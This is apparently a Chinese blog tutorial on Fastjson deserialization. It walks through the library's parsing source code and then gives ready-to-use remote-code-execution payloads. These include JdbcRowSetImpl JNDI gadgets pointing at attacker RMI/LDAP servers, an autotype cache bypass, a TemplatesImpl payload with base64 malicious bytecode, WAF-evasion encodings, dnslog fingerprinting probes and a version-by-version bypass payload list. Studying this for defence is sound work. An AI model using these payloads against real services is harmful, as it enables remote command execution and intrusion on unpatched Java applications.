Fastjson项目地址:https://github.com/alibaba/fastjson
Fastjson是alibaba的开源解析库,可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean
什么是JavaBean:
- 有一个public默认构造器(例如无参构造器,创建对象时自动调用的函数)
- 类属性应该时private,使用public的get、set方法访问
- 提供一个自省和反射机制(能在运行时查看java bean的各种信息)
- 这个类可序列化、能支持事件(例如addXXXListen)
自省:在序列化时传入类型信息SerializerFeature.WriteClassName,能得到可以表明对象类型的Json文件,即支持@type指定反序列化的目标对象类型(下面有解释
序列化
package fastjson;
import com.alibaba.fastjson.JSON;
class test{
private String name;
private int age;
private Flag flag;
public test(){
System.out.println("User constructor has called.");
this.name = "sqy";
this.age = 222;
this.flag = new Flag();
}
public String getName() {
System.out.println("getName has called.");
return name;
}
public void setName(String name) {
System.out.println("setName has called.");
this.name = name;
}
public int getAge() {
System.out.println("getAge has called.");
return age;
}
public void setAge(int age) {
System.out.println("setAge has called.");
this.age = age;
}
public Flag getFlag() {
System.out.println("getFlag has called1.");
return flag;
}
public void setFlag(Flag flag) {
System.out.println("setFlag has called.");
this.flag = flag;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", flag=" + flag +
'}';
}
}
class Flag{
private String flag;
public Flag(){
System.out.println("Flag constructor has called.");
this.flag = "flag{2333}";
}
public String getFlag() {
System.out.println("getFlag has called2.");
return flag;
}
public void setFlag(String flag) {
System.out.println("setFlag has called.");
this.flag = flag;
}
}
public class User {
public static void main(String[] args){
test a = new test();
System.out.println("----------------调用分割线------------------");
String serJson = JSON.toJSONString(a);
System.out.println(serJson);
}
}
运行以上代码得到如下结果:
- 构造方法在创建对象时触发。
- 正常Fastjson反序列化会触发每一个属性的get方法。
- 序列化属性的顺序是按照filedName字母顺序来排序的。
Fastjson能够触发RCE原因:
- 在序列化时,Fastjson会调用成员对应的get方法,被private修饰且没有get方法的成员不会被序列化,被public修饰的成员都会被序列化,并且序列化的结果都时标准的json字符串。
反序列化:
FastJson反序列化依赖于parse以及parseObject方法,康康两者区别:
可以看出parseObjecet还是调用的parse方法,只不过多了一步,在最后会调用toJSON对obj进行处理。
反序列化有如下几种方法:
String str = "{\"flag\":{\"flag\":\"flag{2333}\"},\"name\":\"sqy\",\"zge\":222}";
System.out.printf("Parse had done => %s\n",JSON.parse(str).getClass());
System.out.printf("parseObject one has done => %s\n",JSON.parseObject(str).getClass());
System.out.println("------------------分割线----------------------");
System.out.printf("parseObject second has done => %s\n",JSON.parseObject(str,test.class).getClass());
结果可以看出:
- 在调用parse以及第一种parseObject方式,并没有正常的反序列化数据
- 只有第三种方式正确的将数据还原成了一个对象
- FastJson在反序列化时主要调用的是每个属性的set方法,并且当属性为对象时回去调用其对象的无参构造器去创建对象。
究其因:我们并没有告诉fastjson这段数据属于哪个对象,自然而然只能将它反序列为普通的json对象,而不能正确转换。
所以为让更加便捷的使用FastJson,设计了一个
autotype功能(自省),也就是@type:
只要Json字符串包含@type,那么@type后的属性将被作为所指定的类的属性,从而在无需向parseObject传递第二个参数也能使其正确反序列化。
将json格式添加上@type再进行反序列化:
{"@type":"fastjson.test","age":222,"flag":{"flag":"flag{2333}"},"name":"sqy"}
- 第一和第三种差异不大
- 第二种不仅会触发set同时也调用get方法
Fastjson反序列化源码分析:
以parseObject(String text)作为出发点:
在第一行通过parse方法将json字符转换为对象:
在parse方法种首先会创建DefaultJSONParser对象,在创建时需要注意以下几行:
这里会先判断当前解析的第一个字符串是{还是[,若是这两者则设置为对应的token,随后next向下偏移。
随后通过DefaultJSONParser#parse方法获取对象,该方法首先通过switch对当前的token进行处理,因为前面的token设置为12了,所以在这进入到case 12中:
先创建一个空的JSONObject,随后会通过parseObject方法进行解析,跟进parserobject方法解析:
通过while循环来遍历JSON中的每一个字符串并且对其进行解析:
跟进skipWithspace():
该方法会判断当前解析的字符是否为 、\r、\n、\t、\f、\b、/若是这些字符,则会跳过这些字符的解析,将偏移向前,从这里可以看出,默认情况下不会解析JSON的空格以及注释:
{"@type":"com.fastjson.sqy"}
{ "@type":"com.fastjson.sqy"}
{/**/"@type":"com.fastjson.sqy"} #这三种paylaod等价
在判断完这些字符后,会先获取当前解析的字符并判断是否开启了AllowArbitraryCommas,默认为true,若开启了,则忽略掉JSON中多个连续的逗号。(可利用这两种特性绕过一些waf检测。
{"@type":"com.fastjson.sqy"}
{,,,"@type":"com.fastjson.sqy"} #当AllowArbitraryCommas=true 此payload等价
目前解析到{后面的一位”,进入到if语句中。
在这里首先会通过scanSymbol方法,该方法主要做的就是获取目前的字符以及第二个与当前字符相同的参数,比如此时的第二个参数是一个双引号,那么就会获取到双引号之前的字符,比如@type”,此时获取到的内容就是@type。
还有一个点就是,会对获取到的字符串进行unicode解码以及十六进制解码:
在上述代码获取到key后,同样会调用一次skipWhitespace方法,对空格注释等的一切代码进行忽略,随后会判断目前获取到的key是否为JSON.DEFAULT_TYPE_KEY,JSON>DEFAULT_TYPE_KEY对应为@type:
此时满足条件以后,会同样的通过scanSymbol的方式获取值,所以JSON中的值也是可以通过unicode、十六进制编码等方式去替换的,这里获取到的ref为@type所指定的值,即fastjson.test,随后通过TypeUtils.loadClass的方法加载Class:
开头会有几个处理判断此classname是否为空,然后到mapping中去尝试通过className获取Class,mappings中存放着一些Java内置类:
若此时获取不到,则会判断ClassName是否以[开头,如果是则通过loadClass方法加载Class,不过传入的ClassName会把[给去掉,后面的L也是一个道理。
因为这两个条件均不满足,且第一种mapping获取类的方式是获取不到的,所以最后会通过ClassLoader方式回去加载Class:
至此将获取到的clazz放到了mapping里,就获得了一个@type所指定的Class对象。
在此处的代码中,会通过该Class对象获取到对应的Deserializer,并调用其他deserialize方法:
先跟进getDeserializer方法,代码比较长,截取重要功能以及调用栈,首先会从内置的Deserializer=>Class的Map中寻找Class对应的Deserializer,因为没找到所以会通过其他方式去查找,在后面的代码中有一处黑名单的判断:
在这会判断Class是否在黑名单中,若在则直接抛出异常而不会继续寻找Deserializer,在fastjson 1.2.24版本中,黑名单里只有Thread类。
随后会与Class与他能够⽀持的⼀些Class进⾏匹配,如果匹配上了就通过对应的⽅式创建Deserializer,如果全都匹配不上则通过 createJavaBeanDeserializer ⽅法创建⼀个JavaBeanDeserializer:
环境通过创建一个JavaBeanDeserializer对象来获取的Deserializer:
在创建对象时,首先会build方法获取JavaBeanInfo,该方法会获取Class对应的Field、Method、Constructor:
Field[] declaredFields = clazz.getDeclaredFields();
Method[] methods = clazz.getMethods();
Constructor<?> defaultConstructor = getDefaultConstructor(builderClass == null ? clazz : builderClass);
Constructor并不一定是无参构造方法,会通过下面几种方式获取Constructor:
if (constructor.getParameterTypes().length == 0) {
defaultConstructor = constructor;
if ((types = constructor.getParameterTypes()).length == 1 && types[0].equals(clazz.getDeclaringClass())) {
defaultConstructor = constructor;
满足两个中一个就会被获取到,不过若某个类没有无参构造方法,就不会在进入第二个判断则是直接返回,在获取到Constructor后,会通过反射为其设置权限:
if (defaultConstructor != null) {
TypeUtils.setAccessible(defaultConstructor);
}
随后会通过 for 循环的⽅式去遍历⽅法列表,并判断⽅法是否满⾜下⾯的条件:
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE)
|| method.getReturnType().equals(method.getDeclaringClass())))
如果都满⾜则会在if语句块⾥判断⽅法是否以 set 开头,Fastjson这⾥有⼀个有意思的处理,他不是通过Field去获取对应的⽅法,⽽是获取 set 开头的⽅法,并 通过⽅法规则来获取Field,⽐如 setAge ,最终获取到的 Field 为 age ,如果是布尔类型的Field,最终获取到的为 isAge ,对应的代码如下:
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
if (field == null && types[0] == Boolean.TYPE) {
isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
field = TypeUtils.getField(clazz, isFieldName, declaredFields);
}
接着再来看看该⽅法中获取 get ⽅法的条件 :
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") &&
Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 &&
(Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) ||
AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class ==
method.getReturnType()))
⽐较重要的⼏点:
- Method不是静态的
- Method的返回值⻓度为0
- Method的返回类型要继承⾃上⾯所写的类
如果这些条件满⾜,则该 get ⽅法就会被获取到,最终完成上⾯所有步骤后,获取到的JavaBeanInfo类如下:
在创建 JavaBeanDeserializer 对象的过程中,会对前⾯获取到的 JavaBeanInfo 获取到的信息进⾏下⼀步处理,⽐如在该⽅法中会创建Field对应的 Deserializer:
public FieldDeserializer createFieldDeserializer(ParserConfig mapping, JavaBeanInfo beanInfo, FieldInfo fieldInfo) {
Class<?> clazz = beanInfo.clazz;
Class<?> fieldClass = fieldInfo.fieldClass;
Class<?> deserializeUsing = null;
JSONField annotation = fieldInfo.getAnnotation();
if (annotation != null) {
deserializeUsing = annotation.deserializeUsing();
if (deserializeUsing == Void.class) {
deserializeUsing = null;
}
}
return (FieldDeserializer)(deserializeUsing != null || fieldClass != List.class && fieldClass != ArrayList.class ? new DefaultFieldDeserializer(mapping, clazz, fieldInfo) : new ArrayListTypeFieldDeserializer(mapping, clazz, fieldInfo));
}
在Field的Class不为上面所示的Class的情况下,创建的FieldDeserializer 实际上为 DefaultFieldDeserializer ,最终获取到的 JavaBeanDeserializer 是这样 的:
其中包含了 JavabeanInfo 以及 FieldDeserializer ,随后会调⽤该 Deserializer 的 deserialize ⽅法,该⽅法篇幅较⻓,我也仅截取关键部分。 在解析第⼀个Field时,会先通过前⾯获取到的构造⽅法创建⼀个对象:
if (object == null && fieldValues == null) {
object = this.createInstance(parser, type);
if (object == null) {
fieldValues = new HashMap(this.fieldDeserializers.length);
}
随后会通过 FieldDeserializer#setValue 的⽅式去赋值:
fieldDeser.setValue(object, fieldValue);
该⽅法会通过⼀些条件判断来判断是否要调⽤ get 、 set 等⽅法,调⽤ get 的⽅法上⾯笔者已经记录过了,就是当满⾜返回值为那⼏个类时就会进⾏调⽤,如 果有 set ⽅法了,就会通过反射的⽅式调⽤ set ⽅法去赋值:
method.invoke(object, value);
如果没有 set ⽅法,就会通过反射的⽅式为 Field 赋值:
field.set(object, value);
- JSON中的键&值均可使⽤unicode编码 & ⼗六进制编码(可⽤于绕过WAF检测)
- JSON解析时会忽略双引号外的所有空格、换⾏、注释符(可⽤于绕过WAF检测)
- 为属性赋值相关的代码位于setValue⽅法中
- 反序列化时是可以调⽤ get ⽅法的,只是有⼀定的限制
流程:先去掉空格注释等一些字符,获取参数@type后,根据scanSymbol获取到”之前的字符(以同样的办法获取键值对),对获取到的字符进行解码,然后会根据className去获取class,先从本地的mappings获取(一些java内置类),通过classLoader获取到class将其返回的对象放在mapping里,然后从内置的Deserializer=>Class的Map中寻找Class对应的Deserializer,后面还有一个地址对类进行黑名单判断,如果在黑名单里则会抛错,然后环境通过创建一个JavaBeanDeserializer对象来获取的Deserializer:在创建对象时,首先会build方法获取JavaBeanInfo,获取class对应的属性,方法以及构造器,然后遍历方法,获取 set 开头的⽅法,并 通过⽅法规则来获取Field,最后通过调用反射来对属性进行赋值。
Fastjson反序列化漏洞:
原理:
- fastjson反序列化时,JSON字符串中的@type字段用来表明指定反序列化的目标恶意对象类
- fastjson反序列化时,json会自动去调用恶意对象的构造方法,setter、getter,若这类方法存在利用点,即可完成利用。
看一下这列子:
package fastjson;
import com.alibaba.fastjson.JSON;
public class ssqy {
public static void main(String[] args) {
String json_payload = "{\"@type\":\"fastjson.Payload\",\"command\":\"calc.exe\"}";
JSON.parse(json_payload);
}
}
class Payload{
private String command;
public void setCommand(String command)throws Exception{
Runtime.getRuntime().exec(command);
}
}
运行即可触发计算器:
首先会根据指定的@type类型创建完payload对象后,会调用它的setCommand命令,从而弹出计算器。
JDBC Gadget+JNDI
JDBCRowSetImpl Gadget POC:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:389/obj","autoCommit":true}
JDBCRowSetImpl (缓存绕过autotype) POC:
使用数组或者web服务 连续发送两个poc包即可: 原理即是通过val字段获取objVal,用重载的方式且设置默认为true的缓存操作,将com.sun.rowset.JdbcRowSetImpl加到mapping缓存中,这就导致了解析第二个poc时,绕过了autotype效验(checkAutoType黑名单检测),直接从缓存mapping中加载。
至此可以使用此方法加载缓存mapping里面的类来绕过autotype。
[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}]
触发原理:
本质上其实是fastjson在反序列化时会自动调用@type指定的目标类的setter方法,在Gadget com.sun.rowset.JdbcRowSetImpl的setAutoCommit()方法中调用了lookup(),其参数(DataSou
rceName的setter方法设置)可控,导致了JNDI注入,最终导致了任意命令执行。
利用条件:
只需要Json.parse(input):input可控即可RCE。
在整个攻击过程中,受害者服务器相当于一个JNDI客户端,攻击者恶意搭建一个恶意的RMi服务器便可实施攻击即可
先来跟进一下整个链看看是怎么调用方法进行赋值的:
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
在该方法中会调用connect方法:
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
connect方法中存在lookup的调用,存在JNDI注入,因为dataSourceName是我们可控的,所以思路很清晰,利用JNDI注入攻击,实际利用的方法有好几种,比如RMI、LDAP、LDAP中的反序列化等,但是与fastjson无关,涉及到其他链。
TemplatesImpl Gadget
POC:
{
"rand1": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoa
XMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATA
QAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphd
mEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2Y
S9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7A
QBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEAB
AAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexA
AAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {}
}
}
解析poc:
- @type:指定解析的类,即
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,fastjson根据指定的类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在poc中,_bytecodes
与_name
都是私有属性,所以想要反序列化成功,需要在parseObject()
设置Facture.SupportNonPublicField
- _bytecodes:是我们把恶意的.class文件二进制格式进行base64编码后得到的字符串
- _outputProperties:漏洞利用链的关键字会调用其参数的getOutputProperties方法,导致命令执行
- _tfactory:{}:在defineTransletClass()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory设值
bytecodes而生成类的实例,再者因为传进去的参数都会经过 key.replaceAll(“\“, “”); 处理,所以使用_OutputProperties参数最终会调用getOutputProperties()方法进而触发后面的利用链。
这条链调用到了目标类的get方法:来看一下为什么会调用到,fastjson要调用某个属性的get方法时,那么该方法返回值必须是某些类的子类:
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
该方法返回值为Properties,而Properties继承于HashTable,而HashTable又实现了Map,所以满足Map.class,并且该属性没有set方法,这也是为什么会调用getOutPutProperties的核心原理。
通过Fastjson内置解析情况绕过waf
fastjson会默认去掉 除键值外的空格。 \b 、 \n 、 \r 、 \f 等,同时还会⾃动将键与值进⾏unicode与⼗六进制解码。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}
{ "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}
{/*p1g3*/"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}
{\n"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}
{"@type"\b:"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}
{"\u0040\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit
":true}
{"\x40\x74\x79\x70\x65":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}
不管是对键还是对值,都可以⽤ unicode 以及⼗六进制的⽅式进⾏Bypass,特别的,这对于⼀些只ban @type 的WAF尤为好⽤。
如何确定使用了fastjson?
dnslog
{"@type":"java.net.Inet4Address","val":"fj.used.0yuj7c.ceye.io"}
{"@type":"java.net.Inet4Address","val":"fj.inet4.0yuj7c.ceye.io"}
{"@type":"java.net.Inet6Address","val":"fj.inet6.0yuj7c.ceye.io"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"fj.inetS.0yuj7c.ceye.io"}}
RMI/LDAP服务
如上所述,也不一定非要开启RMI、LDAP服务,就将payload指向我们的服务器ip:port即可
为什么某些类不需要开启AutoType也能探测后端是否使用Fastjson
poc:
{"@type":"java.net.InetAddress","val":"http://dnslog"}
该payload在未开启Autotype时是能够获取到Class的,因为java.net.InetAddress类是java内置类,并且也不在黑名单中,所以该类算在不开启Autotype能够利用到的一个类、
能够成功触发DNS请求,在DNSLOG验证后端是否使用了fastjson。
Fastjson不同版本的payload
根据不同版本的修复情况来进行一个绕过。
fastjson <= 1.2.48
//1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":tr
ue}}
//(1.2.24-41)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
//1.2.41
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
//1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true
};
//1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}
//1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhos
t:1099/Exploit"}}
//1.2.47
{"a": {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}, "b":{"@type":"com.sun.rowset.
JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true} }